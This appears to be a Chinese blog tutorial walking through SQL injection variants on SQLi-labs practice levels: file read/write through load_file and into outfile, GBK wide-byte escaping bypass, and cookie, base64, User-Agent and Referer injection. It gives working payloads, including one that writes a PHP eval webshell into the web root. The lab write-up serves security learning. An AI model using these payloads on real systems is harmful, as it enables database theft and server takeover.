其他注入方法

系列文章目录

1. SQL注入——基础知识
2. SQL注入
3. 全自动化注入SqlMap



前言

本文将会介绍几个其他注入方法:

  • 利用SQL注入漏洞读写文件
  • 宽字节注入
  • Cookie注入
  • base64注入
  • HTTP头部注入
  • Referer注入

一、利用SQL注入漏洞读写文件

(一)读写文件的前提条件

1. secure-file-priv

  • 可以在phpmyadmin 中看到该变量,secure-file-priv参数在高版本的mysql数据库中限制了文件的导入导出操作。
    修改参数可以写在my.ini 配置文件中 mysqld(MySQL服务)下进行:需要修改my.ini配置文件,配置参数secure-file-priv;
    配置完成后需要重启mysql 服务。
    在这里插入图片描述
    在这里插入图片描述
  • 关于该参数值的相关说明:
    • secure-file-priv 参数配置 含义
    • secure-file-priv= 不对mysqld的导入导出操作做限制
    • secure-file-priv=‘c:/a/’ 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)
    • secure-file-priv=null 限制mysqld 不允许导入导出操作

2. 当前用户具有文件权限

查询语句 select File_priv from mysql.user where user="root" and host="localhost"
查询发现当前用于具有文件权限
在这里插入图片描述

3. 知道要写入目标文件的绝对路径


绝对路径的写法【两者都可以使用】

  • linux系统中路径用/分隔:C:/Windows/System32/drivers/etc/hosts
  • windows中用\分隔,涉及到转义字符,所用用\ :C:\\Windows\\System32\\drivers\\etc\\hosts

(二)读取文件操作

load_file( '要读取文件的路径' )
?id=-1' union select 1, load_file( 'C:\\Windows\\System32\\drivers\\etc\\hosts' ),3 --+

我们发现 11的位置会有显示
在这里插入图片描述
读取 hosts文件在这里插入图片描述

(三)写入文件操作

into outfile '写入的位置'
?id=1'and 1=2 union select 1, ' <?php @eval($_REQUEST[777]);?> ' , 3 into outfile 'C:\\phpstudy\\www\\test.php'--+

  • 直接传入参数,页面如果不报错,说明写入成功,可以直接访问写入的文件http://localhost/test.php
  • 此处写入的<?php @eval($_REQUEST[777]);?> 是一句话木马

例1:在文件中写入数字 1-15
在这里插入图片描述
在这里插入图片描述

例2:在文件中写入php代码
在这里插入图片描述
在这里插入图片描述

二、宽字节注入

SQLi-labs 32 关:宽字节注入

Step1. 页面有回显

在这里插入图片描述
在这里插入图片描述

Step2. 页面有报错(不同于之前的报错)

  • 宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况:使用?id=1'进行测试的时候,发现提交的单引号会被转义\'
    转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说我们提交的单引号不会影响到原来SQL 语句的结构。
    在这里插入图片描述
    在这里插入图片描述

Step3. 宽字节注入

  • 阅读32 关的源码,发现几句非常意思的代码:
      1. 对输入的 单引号 和 双引号 做了转义。
      1. 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL语句拼接,最后进行数据库查询。
        在这里插入图片描述
  • GBK编码
    • GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。
    • GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
    • 转移字符\的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c,会被看作GBK汉字的低位字节编码,从而失去转义的作用。
    • 如果我们提交这样的参数 ?id=1%df' union select 1,2,3 --+ ,就可以使用联合查询进行注入了。【注:Oxdf5c 是一个汉字"運”】
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

Step4. 猜测字段数

在这里插入图片描述
在这里插入图片描述

Step5. 成功注入

在这里插入图片描述

三、Cookie注入

SQLi-labs 第 20 关:Cookie 注入

Cookie 注入的注入参数需要通过Cookie 提交,可以通过document.cookie在控制台完成对浏览器Cookie 的读写。
来到 Less-20,在控制台输入 document.cookie= 'uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#" ,刷新页面即可。

Step1. 抓包

  1. 在提交数据前先抓一个数据包1
    在这里插入图片描述
    将抓到的数据包1放到repeater模块
    在这里插入图片描述

  2. 输入用户名和密码并提交,同时抓数据包2
    在这里插入图片描述
    在这里插入图片描述
    将抓到的数据包2发送到repeater模块
    在这里插入图片描述

  3. 在repeater模块将抓到的两个包都发送到comparer模块
    在这里插入图片描述
    比较两个数据包,发现:第二个数据包比第一个数据包多了 Cookie
    在这里插入图片描述

Step2. 重放数据包

  1. Repeater模块可以重放数据包
    在这里插入图片描述
  2. 单引号闭合并重放,发现报错,说明是字符型注入,且使用单引号闭合。
    在这里插入图片描述
    在这里插入图片描述
  3. 没有回显,但是有报错信息,所以选择报错注入。
    在这里插入图片描述

Step3. 注入成功

在这里插入图片描述
在这里插入图片描述

四、base64注入

SQLi-labs 第 22 关:base64 注入

base64 注入是指将注入字段经过base64编码。
我们可以使用报错注入手法,payload [document.cookie=“uname=Dumb” and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="
刷新网页即可。

Step1. 删除浏览器的Cookie,再次提交数据并抓包

在这里插入图片描述
这里报了错,是因为时区的问题,在 Step3 中会修改
在这里插入图片描述

Step2. 将抓到的包发给repeater模块

  1. 右击即可把包发给repeater模块
    在这里插入图片描述
  2. 在Repeater模块查看数据包 Cookie: uname=RHVtYg%3D%3D
    在这里插入图片描述
  3. 在Decoder模块进行URL解码:%3D 就是 =
    在这里插入图片描述
  4. 将包中的 %3D 换成 = ,重放数据包,得到的数据包和之前是一样的
    在这里插入图片描述

Step3. 解决报错——设置时区

  1. 将时区设置为东八区
    在这里插入图片描述
  2. 重启php后,再次发送数据包,不报错
    在这里插入图片描述

Step4. base64解码

在这里插入图片描述

Step5. base64编码

将我们想要填入的内容进行base64编码后再填入Cookie中,并重放数据包

  1. 添加单引号 Dumb’
    在这里插入图片描述

  2. 添加双引号 Dumb"          ~~~~~~~~          → 字符型注入,双引号闭合
    在这里插入图片描述

Step6. 报错注入

在这里插入图片描述
在这里插入图片描述

五、HTTP头部注入

http 头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。

1. User-Agent 注入

SQLi-labs 第18 关:注入字段在 User-Agent 中

payload:User-Agent:hacker'and updatexml(1,concat(Ox7e,database(),Ox7e),1) and'1'='1

Step1. 抓包

在这里插入图片描述

Step2. 字符型注入

在这里插入图片描述
在这里插入图片描述

Step3. 在 User-Agent 中报错注入

在这里插入图片描述

2. Referer 注入

SQLi-labs 第19关:注入字段在 Referer 中

payload:hacker' and updatexml(1,concat(Ox7e,database(),0x7e),1) and ‘1'='1

Step1. 抓包

在这里插入图片描述

Step2. 在 Referer 中报错注入

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值